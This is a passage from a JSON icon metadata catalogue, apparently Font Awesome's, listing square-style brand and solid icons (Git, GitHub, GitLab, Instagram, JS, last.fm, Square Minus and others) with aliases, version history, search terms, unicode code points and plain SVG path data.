        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M464 48V464H48V48H464zM48 0H0V48 464v48H48 464h48V464 48 0H464 48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M464 48V464H48V48H464zM48 0H0V48 464v48H48 464h48V464 48 0H464 48z"
      }
    },
    "free": ["regular", "solid"]
  },
  "square-git": {
    "aliases": {
      "names": ["git-square"]
    },
    "changes": ["4.1.0", "5.0.0", "5.8.2", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1d2",
    "label": "Git Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M100.59 334.24c48.57 3.31 58.95 2.11 58.95 11.94 0 20-65.55 20.06-65.55 1.52.01-5.09 3.29-9.4 6.6-13.46zm27.95-116.64c-32.29 0-33.75 44.47-.75 44.47 32.51 0 31.71-44.47.75-44.47zM448 80v352a48 48 0 0 1-48 48H48a48 48 0 0 1-48-48V80a48 48 0 0 1 48-48h352a48 48 0 0 1 48 48zm-227 69.31c0 14.49 8.38 22.88 22.86 22.88 14.74 0 23.13-8.39 23.13-22.88S258.62 127 243.88 127c-14.48 0-22.88 7.84-22.88 22.31zM199.18 195h-49.55c-25-6.55-81.56-4.85-81.56 46.75 0 18.8 9.4 32 21.85 38.11C74.23 294.23 66.8 301 66.8 310.6c0 6.87 2.79 13.22 11.18 16.76-8.9 8.4-14 14.48-14 25.92C64 373.35 81.53 385 127.52 385c44.22 0 69.87-16.51 69.87-45.73 0-36.67-28.23-35.32-94.77-39.38l8.38-13.43c17 4.74 74.19 6.23 74.19-42.43 0-11.69-4.83-19.82-9.4-25.67l23.38-1.78zm84.34 109.84l-13-1.78c-3.82-.51-4.07-1-4.07-5.09V192.52h-52.6l-2.79 20.57c15.75 5.55 17 4.86 17 10.17V298c0 5.62-.31 4.58-17 6.87v20.06h72.42zM384 315l-6.87-22.37c-40.93 15.37-37.85-12.41-37.85-16.73v-60.72h37.85v-25.41h-35.82c-2.87 0-2 2.52-2-38.63h-24.18c-2.79 27.7-11.68 38.88-34 41.42v22.62c20.47 0 19.82-.85 19.82 2.54v66.57c0 28.72 11.43 40.91 41.67 40.91 14.45 0 30.45-4.83 41.38-10.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M100.59 334.24c48.57 3.31 58.95 2.11 58.95 11.94 0 20-65.55 20.06-65.55 1.52.01-5.09 3.29-9.4 6.6-13.46zm27.95-116.64c-32.29 0-33.75 44.47-.75 44.47 32.51 0 31.71-44.47.75-44.47zM448 80v352a48 48 0 0 1-48 48H48a48 48 0 0 1-48-48V80a48 48 0 0 1 48-48h352a48 48 0 0 1 48 48zm-227 69.31c0 14.49 8.38 22.88 22.86 22.88 14.74 0 23.13-8.39 23.13-22.88S258.62 127 243.88 127c-14.48 0-22.88 7.84-22.88 22.31zM199.18 195h-49.55c-25-6.55-81.56-4.85-81.56 46.75 0 18.8 9.4 32 21.85 38.11C74.23 294.23 66.8 301 66.8 310.6c0 6.87 2.79 13.22 11.18 16.76-8.9 8.4-14 14.48-14 25.92C64 373.35 81.53 385 127.52 385c44.22 0 69.87-16.51 69.87-45.73 0-36.67-28.23-35.32-94.77-39.38l8.38-13.43c17 4.74 74.19 6.23 74.19-42.43 0-11.69-4.83-19.82-9.4-25.67l23.38-1.78zm84.34 109.84l-13-1.78c-3.82-.51-4.07-1-4.07-5.09V192.52h-52.6l-2.79 20.57c15.75 5.55 17 4.86 17 10.17V298c0 5.62-.31 4.58-17 6.87v20.06h72.42zM384 315l-6.87-22.37c-40.93 15.37-37.85-12.41-37.85-16.73v-60.72h37.85v-25.41h-35.82c-2.87 0-2 2.52-2-38.63h-24.18c-2.79 27.7-11.68 38.88-34 41.42v22.62c20.47 0 19.82-.85 19.82 2.54v66.57c0 28.72 11.43 40.91 41.67 40.91 14.45 0 30.45-4.83 41.38-10.2z"
      }
    },
    "free": ["brands"]
  },
  "square-github": {
    "aliases": {
      "names": ["github-square"]
    },
    "changes": ["1.0.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": ["octocat"]
    },
    "styles": ["brands"],
    "unicode": "f092",
    "label": "GitHub Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM277.3 415.7c-8.4 1.5-11.5-3.7-11.5-8 0-5.4.2-33 .2-55.3 0-15.6-5.2-25.5-11.3-30.7 37-4.1 76-9.2 76-73.1 0-18.2-6.5-27.3-17.1-39 1.7-4.3 7.4-22-1.7-45-13.9-4.3-45.7 17.9-45.7 17.9-13.2-3.7-27.5-5.6-41.6-5.6-14.1 0-28.4 1.9-41.6 5.6 0 0-31.8-22.2-45.7-17.9-9.1 22.9-3.5 40.6-1.7 45-10.6 11.7-15.6 20.8-15.6 39 0 63.6 37.3 69 74.3 73.1-4.8 4.3-9.1 11.7-10.6 22.3-9.5 4.3-33.8 11.7-48.3-13.9-9.1-15.8-25.5-17.1-25.5-17.1-16.2-.2-1.1 10.2-1.1 10.2 10.8 5 18.4 24.2 18.4 24.2 9.7 29.7 56.1 19.7 56.1 19.7 0 13.9.2 36.5.2 40.6 0 4.3-3 9.5-11.5 8-66-22.1-112.2-84.9-112.2-158.3 0-91.8 70.2-161.5 162-161.5S388 165.6 388 257.4c.1 73.4-44.7 136.3-110.7 158.3zm-98.1-61.1c-1.9.4-3.7-.4-3.9-1.7-.2-1.5 1.1-2.8 3-3.2 1.9-.2 3.7.6 3.9 1.9.3 1.3-1 2.6-3 3zm-9.5-.9c0 1.3-1.5 2.4-3.5 2.4-2.2.2-3.7-.9-3.7-2.4 0-1.3 1.5-2.4 3.5-2.4 1.9-.2 3.7.9 3.7 2.4zm-13.7-1.1c-.4 1.3-2.4 1.9-4.1 1.3-1.9-.4-3.2-1.9-2.8-3.2.4-1.3 2.4-1.9 4.1-1.5 2 .6 3.3 2.1 2.8 3.4zm-12.3-5.4c-.9 1.1-2.8.9-4.3-.6-1.5-1.3-1.9-3.2-.9-4.1.9-1.1 2.8-.9 4.3.6 1.3 1.3 1.8 3.3.9 4.1zm-9.1-9.1c-.9.6-2.6 0-3.7-1.5s-1.1-3.2 0-3.9c1.1-.9 2.8-.2 3.7 1.3 1.1 1.5 1.1 3.3 0 4.1zm-6.5-9.7c-.9.9-2.4.4-3.5-.6-1.1-1.3-1.3-2.8-.4-3.5.9-.9 2.4-.4 3.5.6 1.1 1.3 1.3 2.8.4 3.5zm-6.7-7.4c-.4.9-1.7 1.1-2.8.4-1.3-.6-1.9-1.7-1.5-2.6.4-.6 1.5-.9 2.8-.4 1.3.7 1.9 1.8 1.5 2.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM277.3 415.7c-8.4 1.5-11.5-3.7-11.5-8 0-5.4.2-33 .2-55.3 0-15.6-5.2-25.5-11.3-30.7 37-4.1 76-9.2 76-73.1 0-18.2-6.5-27.3-17.1-39 1.7-4.3 7.4-22-1.7-45-13.9-4.3-45.7 17.9-45.7 17.9-13.2-3.7-27.5-5.6-41.6-5.6-14.1 0-28.4 1.9-41.6 5.6 0 0-31.8-22.2-45.7-17.9-9.1 22.9-3.5 40.6-1.7 45-10.6 11.7-15.6 20.8-15.6 39 0 63.6 37.3 69 74.3 73.1-4.8 4.3-9.1 11.7-10.6 22.3-9.5 4.3-33.8 11.7-48.3-13.9-9.1-15.8-25.5-17.1-25.5-17.1-16.2-.2-1.1 10.2-1.1 10.2 10.8 5 18.4 24.2 18.4 24.2 9.7 29.7 56.1 19.7 56.1 19.7 0 13.9.2 36.5.2 40.6 0 4.3-3 9.5-11.5 8-66-22.1-112.2-84.9-112.2-158.3 0-91.8 70.2-161.5 162-161.5S388 165.6 388 257.4c.1 73.4-44.7 136.3-110.7 158.3zm-98.1-61.1c-1.9.4-3.7-.4-3.9-1.7-.2-1.5 1.1-2.8 3-3.2 1.9-.2 3.7.6 3.9 1.9.3 1.3-1 2.6-3 3zm-9.5-.9c0 1.3-1.5 2.4-3.5 2.4-2.2.2-3.7-.9-3.7-2.4 0-1.3 1.5-2.4 3.5-2.4 1.9-.2 3.7.9 3.7 2.4zm-13.7-1.1c-.4 1.3-2.4 1.9-4.1 1.3-1.9-.4-3.2-1.9-2.8-3.2.4-1.3 2.4-1.9 4.1-1.5 2 .6 3.3 2.1 2.8 3.4zm-12.3-5.4c-.9 1.1-2.8.9-4.3-.6-1.5-1.3-1.9-3.2-.9-4.1.9-1.1 2.8-.9 4.3.6 1.3 1.3 1.8 3.3.9 4.1zm-9.1-9.1c-.9.6-2.6 0-3.7-1.5s-1.1-3.2 0-3.9c1.1-.9 2.8-.2 3.7 1.3 1.1 1.5 1.1 3.3 0 4.1zm-6.5-9.7c-.9.9-2.4.4-3.5-.6-1.1-1.3-1.3-2.8-.4-3.5.9-.9 2.4-.4 3.5.6 1.1 1.3 1.3 2.8.4 3.5zm-6.7-7.4c-.4.9-1.7 1.1-2.8.4-1.3-.6-1.9-1.7-1.5-2.6.4-.6 1.5-.9 2.8-.4 1.3.7 1.9 1.8 1.5 2.6z"
      }
    },
    "free": ["brands"]
  },
  "square-gitlab": {
    "aliases": {
      "names": ["gitlab-square"]
    },
    "changes": ["6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e5ae",
    "label": "Square Gitlab",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M48 32H400C426.5 32 448 53.5 448 80V432C448 458.5 426.5 480 400 480H48C21.5 480 0 458.5 0 432V80C0 53.5 21.5 32 48 32zM382.1 224.9L337.5 108.5C336.6 106.2 334.9 104.2 332.9 102.9C331.3 101.9 329.5 101.3 327.7 101.1C325.9 100.9 324 101.2 322.3 101.8C320.6 102.5 319 103.5 317.8 104.9C316.6 106.3 315.7 107.9 315.2 109.7L285 201.9H162.1L132.9 109.7C132.4 107.9 131.4 106.3 130.2 104.9C128.1 103.6 127.4 102.5 125.7 101.9C123.1 101.2 122.1 100.1 120.3 101.1C118.5 101.3 116.7 101.9 115.1 102.9C113.1 104.2 111.5 106.2 110.6 108.5L65.94 224.9L65.47 226.1C59.05 242.9 58.26 261.3 63.22 278.6C68.18 295.9 78.62 311.1 92.97 321.9L93.14 322L93.52 322.3L161.4 373.2L215.6 414.1C217.1 415.1 220.9 416.9 223.9 416.9C226.9 416.9 229.9 415.1 232.3 414.1L286.4 373.2L354.8 322L355 321.9C369.4 311 379.8 295.8 384.8 278.6C389.7 261.3 388.1 242.9 382.5 226.1L382.1 224.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M48 32H400C426.5 32 448 53.5 448 80V432C448 458.5 426.5 480 400 480H48C21.5 480 0 458.5 0 432V80C0 53.5 21.5 32 48 32zM382.1 224.9L337.5 108.5C336.6 106.2 334.9 104.2 332.9 102.9C331.3 101.9 329.5 101.3 327.7 101.1C325.9 100.9 324 101.2 322.3 101.8C320.6 102.5 319 103.5 317.8 104.9C316.6 106.3 315.7 107.9 315.2 109.7L285 201.9H162.1L132.9 109.7C132.4 107.9 131.4 106.3 130.2 104.9C128.1 103.6 127.4 102.5 125.7 101.9C123.1 101.2 122.1 100.1 120.3 101.1C118.5 101.3 116.7 101.9 115.1 102.9C113.1 104.2 111.5 106.2 110.6 108.5L65.94 224.9L65.47 226.1C59.05 242.9 58.26 261.3 63.22 278.6C68.18 295.9 78.62 311.1 92.97 321.9L93.14 322L93.52 322.3L161.4 373.2L215.6 414.1C217.1 415.1 220.9 416.9 223.9 416.9C226.9 416.9 229.9 415.1 232.3 414.1L286.4 373.2L354.8 322L355 321.9C369.4 311 379.8 295.8 384.8 278.6C389.7 261.3 388.1 242.9 382.5 226.1L382.1 224.9z"
      }
    },
    "free": ["brands"]
  },
  "square-google-plus": {
    "aliases": {
      "names": ["google-plus-square"]
    },
    "changes": ["2.0.0", "5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": ["social network"]
    },
    "styles": ["brands"],
    "unicode": "f0d4",
    "label": "Google Plus Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM164 356c-55.3 0-100-44.7-100-100s44.7-100 100-100c27 0 49.5 9.8 67 26.2l-27.1 26.1c-7.4-7.1-20.3-15.4-39.8-15.4-34.1 0-61.9 28.2-61.9 63.2 0 34.9 27.8 63.2 61.9 63.2 39.6 0 54.4-28.5 56.8-43.1H164v-34.4h94.4c1 5 1.6 10.1 1.6 16.6 0 57.1-38.3 97.6-96 97.6zm220-81.8h-29v29h-29.2v-29h-29V245h29v-29H355v29h29v29.2z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM164 356c-55.3 0-100-44.7-100-100s44.7-100 100-100c27 0 49.5 9.8 67 26.2l-27.1 26.1c-7.4-7.1-20.3-15.4-39.8-15.4-34.1 0-61.9 28.2-61.9 63.2 0 34.9 27.8 63.2 61.9 63.2 39.6 0 54.4-28.5 56.8-43.1H164v-34.4h94.4c1 5 1.6 10.1 1.6 16.6 0 57.1-38.3 97.6-96 97.6zm220-81.8h-29v29h-29.2v-29h-29V245h29v-29H355v29h29v29.2z"
      }
    },
    "free": ["brands"]
  },
  "square-h": {
    "aliases": {
      "names": ["h-square"],
      "unicodes": {
        "secondary": ["10f0fd"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["directions", "emergency", "hospital", "hotel", "letter", "map"]
    },
    "styles": ["solid"],
    "unicode": "f0fd",
    "label": "Square H",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM336 152V256 360c0 13.3-10.7 24-24 24s-24-10.7-24-24V280H160l0 80c0 13.3-10.7 24-24 24s-24-10.7-24-24l0-208c0-13.3 10.7-24 24-24s24 10.7 24 24v80H288V152c0-13.3 10.7-24 24-24s24 10.7 24 24z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM336 152V256 360c0 13.3-10.7 24-24 24s-24-10.7-24-24V280H160l0 80c0 13.3-10.7 24-24 24s-24-10.7-24-24l0-208c0-13.3 10.7-24 24-24s24 10.7 24 24v80H288V152c0-13.3 10.7-24 24-24s24 10.7 24 24z"
      }
    },
    "free": ["solid"]
  },
  "square-hacker-news": {
    "aliases": {
      "names": ["hacker-news-square"]
    },
    "changes": ["5.0.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3af",
    "label": "Hacker News Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.2 229.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM21.2 229.2H21c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4zm218 53.9V384h-31.4V281.3L128 128h37.3c52.5 98.3 49.2 101.2 59.3 125.6 12.3-27 5.8-24.4 60.6-125.6H320l-80.8 155.1z"
      }
    },
    "free": ["brands"]
  },
  "square-instagram": {
    "aliases": {
      "names": ["instagram-square"]
    },
    "changes": ["5.12.1", "5.14.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e055",
    "label": "Instagram Square",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224,202.66A53.34,53.34,0,1,0,277.36,256,53.38,53.38,0,0,0,224,202.66Zm124.71-41a54,54,0,0,0-30.41-30.41c-21-8.29-71-6.43-94.3-6.43s-73.25-1.93-94.31,6.43a54,54,0,0,0-30.41,30.41c-8.28,21-6.43,71.05-6.43,94.33S91,329.26,99.32,350.33a54,54,0,0,0,30.41,30.41c21,8.29,71,6.43,94.31,6.43s73.24,1.93,94.3-6.43a54,54,0,0,0,30.41-30.41c8.35-21,6.43-71.05,6.43-94.33S357.1,182.74,348.75,161.67ZM224,338a82,82,0,1,1,82-82A81.9,81.9,0,0,1,224,338Zm85.38-148.3a19.14,19.14,0,1,1,19.13-19.14A19.1,19.1,0,0,1,309.42,189.74ZM400,32H48A48,48,0,0,0,0,80V432a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V80A48,48,0,0,0,400,32ZM382.88,322c-1.29,25.63-7.14,48.34-25.85,67s-41.4,24.63-67,25.85c-26.41,1.49-105.59,1.49-132,0-25.63-1.29-48.26-7.15-67-25.85s-24.63-41.42-25.85-67c-1.49-26.42-1.49-105.61,0-132,1.29-25.63,7.07-48.34,25.85-67s41.47-24.56,67-25.78c26.41-1.49,105.59-1.49,132,0,25.63,1.29,48.33,7.15,67,25.85s24.63,41.42,25.85,67.05C384.37,216.44,384.37,295.56,382.88,322Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224,202.66A53.34,53.34,0,1,0,277.36,256,53.38,53.38,0,0,0,224,202.66Zm124.71-41a54,54,0,0,0-30.41-30.41c-21-8.29-71-6.43-94.3-6.43s-73.25-1.93-94.31,6.43a54,54,0,0,0-30.41,30.41c-8.28,21-6.43,71.05-6.43,94.33S91,329.26,99.32,350.33a54,54,0,0,0,30.41,30.41c21,8.29,71,6.43,94.31,6.43s73.24,1.93,94.3-6.43a54,54,0,0,0,30.41-30.41c8.35-21,6.43-71.05,6.43-94.33S357.1,182.74,348.75,161.67ZM224,338a82,82,0,1,1,82-82A81.9,81.9,0,0,1,224,338Zm85.38-148.3a19.14,19.14,0,1,1,19.13-19.14A19.1,19.1,0,0,1,309.42,189.74ZM400,32H48A48,48,0,0,0,0,80V432a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V80A48,48,0,0,0,400,32ZM382.88,322c-1.29,25.63-7.14,48.34-25.85,67s-41.4,24.63-67,25.85c-26.41,1.49-105.59,1.49-132,0-25.63-1.29-48.26-7.15-67-25.85s-24.63-41.42-25.85-67c-1.49-26.42-1.49-105.61,0-132,1.29-25.63,7.07-48.34,25.85-67s41.47-24.56,67-25.78c26.41-1.49,105.59-1.49,132,0,25.63,1.29,48.33,7.15,67,25.85s24.63,41.42,25.85,67.05C384.37,216.44,384.37,295.56,382.88,322Z"
      }
    },
    "free": ["brands"]
  },
  "square-js": {
    "aliases": {
      "names": ["js-square"]
    },
    "changes": ["5.0.0", "5.0.3", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3b9",
    "label": "JavaScript (JS) Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM243.8 381.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM243.8 381.4c0 43.6-25.6 63.5-62.9 63.5-33.7 0-53.2-17.4-63.2-38.5l34.3-20.7c6.6 11.7 12.6 21.6 27.1 21.6 13.8 0 22.6-5.4 22.6-26.5V237.7h42.1v143.7zm99.6 63.5c-39.1 0-64.4-18.6-76.7-43l34.3-19.8c9 14.7 20.8 25.6 41.5 25.6 17.4 0 28.6-8.7 28.6-20.8 0-14.4-11.4-19.5-30.7-28l-10.5-4.5c-30.4-12.9-50.5-29.2-50.5-63.5 0-31.6 24.1-55.6 61.6-55.6 26.8 0 46 9.3 59.8 33.7L368 290c-7.2-12.9-15-18-27.1-18-12.3 0-20.1 7.8-20.1 18 0 12.6 7.8 17.7 25.9 25.6l10.5 4.5c35.8 15.3 55.9 31 55.9 66.2 0 37.8-29.8 58.6-69.7 58.6z"
      }
    },
    "free": ["brands"]
  },
  "square-lastfm": {
    "aliases": {
      "names": ["lastfm-square"]
    },
    "changes": ["4.2.0", "5.0.0", "5.0.11", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f203",
    "label": "last.fm Square",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014466,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-92.2 312.9c-63.4 0-85.4-28.6-97.1-64.1-16.3-51-21.5-84.3-63-84.3-22.4 0-45.1 16.1-45.1 61.2 0 35.2 18 57.2 43.3 57.2 28.6 0 47.6-21.3 47.6-21.3l11.7 31.9s-19.8 19.4-61.2 19.4c-51.3 0-79.9-30.1-79.9-85.8 0-57.9 28.6-92 82.5-92 73.5 0 80.8 41.4 100.8 101.9 8.8 26.8 24.2 46.2 61.2 46.2 24.9 0 38.1-5.5 38.1-19.1 0-19.9-21.8-22-49.9-28.6-30.4-7.3-42.5-23.1-42.5-48 0-40 32.3-52.4 65.2-52.4 37.4 0 60.1 13.6 63 46.6l-36.7 4.4c-1.5-15.8-11-22.4-28.6-22.4-16.1 0-26 7.3-26 19.8 0 11 4.8 17.6 20.9 21.3 32.7 7.1 71.8 12 71.8 57.5.1 36.7-30.7 50.6-76.1 50.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-92.2 312.9c-63.4 0-85.4-28.6-97.1-64.1-16.3-51-21.5-84.3-63-84.3-22.4 0-45.1 16.1-45.1 61.2 0 35.2 18 57.2 43.3 57.2 28.6 0 47.6-21.3 47.6-21.3l11.7 31.9s-19.8 19.4-61.2 19.4c-51.3 0-79.9-30.1-79.9-85.8 0-57.9 28.6-92 82.5-92 73.5 0 80.8 41.4 100.8 101.9 8.8 26.8 24.2 46.2 61.2 46.2 24.9 0 38.1-5.5 38.1-19.1 0-19.9-21.8-22-49.9-28.6-30.4-7.3-42.5-23.1-42.5-48 0-40 32.3-52.4 65.2-52.4 37.4 0 60.1 13.6 63 46.6l-36.7 4.4c-1.5-15.8-11-22.4-28.6-22.4-16.1 0-26 7.3-26 19.8 0 11 4.8 17.6 20.9 21.3 32.7 7.1 71.8 12 71.8 57.5.1 36.7-30.7 50.6-76.1 50.6z"
      }
    },
    "free": ["brands"]
  },
  "square-minus": {
    "aliases": {
      "names": ["minus-square"],
      "unicodes": {
        "composite": ["f147"],
        "secondary": ["10f146"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "collapse",
        "delete",
        "hide",
        "minify",
        "negative",
        "remove",
        "shape",
        "trash"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f146",
    "label": "Square Minus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm88 200H296c13.3 0 24 10.7 24 24s-10.7 24-24 24H152c-13.3 0-24-10.7-24-24s10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm88 200H296c13.3 0 24 10.7 24 24s-10.7 24-24 24H152c-13.3 0-24-10.7-24-24s10.7-24 24-24z"
      },
      "regular": {
        "last_modified": 1684767553,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16V96c0-8.8-7.2-16-16-16H64zM0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM152 232H296c13.3 0 24 10.7 24 24s-10.7 24-24 24H152c-13.3 0-24-10.7-24-24s10.7-24 24-24z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M64 80c-8.8 0-16 7.2-16 16V416c0 8.8 7.2 16 16 16H384c8.8 0 16-7.2 16-16V96c0-8.8-7.2-16-16-16H64zM0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM152 232H296c13.3 0 24 10.7 24 24s-10.7 24-24 24H152c-13.3 0-24-10.7-24-24s10.7-24 24-24z"
      }
    },
    "free": ["regular", "solid"]
  },
  "square-nfi": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["non-food item", "supplies"]
    },
    "styles": ["solid"],
    "unicode": "e576",
    "label": "Square Nfi",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H384c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zm75.7 64.6C68.8 162.5 64 168.8 64 176V336c0 8.8 7.2 16 16 16s16-7.2 16-16V233.8l66.3 110.5c3.7 6.2 11.1 9.1 18 7.2s11.7-8.2 11.7-15.4V176c0-8.8-7.2-16-16-16s-16 7.2-16 16V278.2L93.7 167.8c-3.7-6.2-11.1-9.1-18-7.2zM224 176v64 96c0 8.8 7.2 16 16 16s16-7.2 16-16V256h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H256V192h48c8.8 0 16-7.2 16-16s-7.2-16-16-16H240c-8.8 0-16 7.2-16 16zm160 0c0-8.8-7.2-16-16-16s-16 7.2-16 16V336c0 8.8 7.2 16 16 16s16-7.2 16-16V176z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
